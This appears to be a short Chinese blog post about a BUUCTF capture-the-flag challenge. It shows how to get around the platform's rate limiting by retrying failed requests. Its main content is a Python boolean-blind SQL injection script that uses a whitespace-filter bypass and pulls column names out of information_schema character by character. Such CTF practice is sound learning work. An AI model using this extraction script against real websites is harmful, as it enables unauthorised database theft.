一边复习一边做题我也是服了自己- -
buu在访问频率过高的时候会触发保护 返回404或者429
之前测的时候即使sleep(3)也会出现
如果单纯的sleep会很蛋疼
其实也很好解决 只要把单次的请求封装成函数 然后在响应码不是200的时候递归调用就可以了
拿某入群题举例

import requests
flag=''
payload="(ascii(mid((select%0agroup_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_name='admin'),{},1))={})"
#payload="(ascii(mid((select%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_name=database()),{},1))={})"

def req(payload,asc):
    url='http://d8658094-818f-4e94-92c0-310b22cd2879.node3.buuoj.cn//backend/content_detail.php?id='+payload
    header={
        'X - Requested - With': 'XMLHttpRequest'
    }
   # print(url)
    a=requests.get(url,headers=header)
    if a.status_code !=200:
        return req(payload,asc)
       # return ''
    else:
        if "content" in a.text:
            return chr(int(asc))
        else:
            return ''
for x in range(1,30):
    for i in range(70,127):
        payload2=payload.format(str(x),str(i))
      #  print(payload2)
        a=req(payload2,str(i))
        if a!='':
            flag+=str(a)
            break
    print(flag)

其实之前做buu时候相比写脚本更习惯用Burp - -因为方便看响应码
后来某挑战的一道好几百字符的题让我自闭了
才想着要写个能解决问题的脚本- -

分类: 技术

0 条评论

发表评论

邮箱地址不会被公开。 必填项已用*标注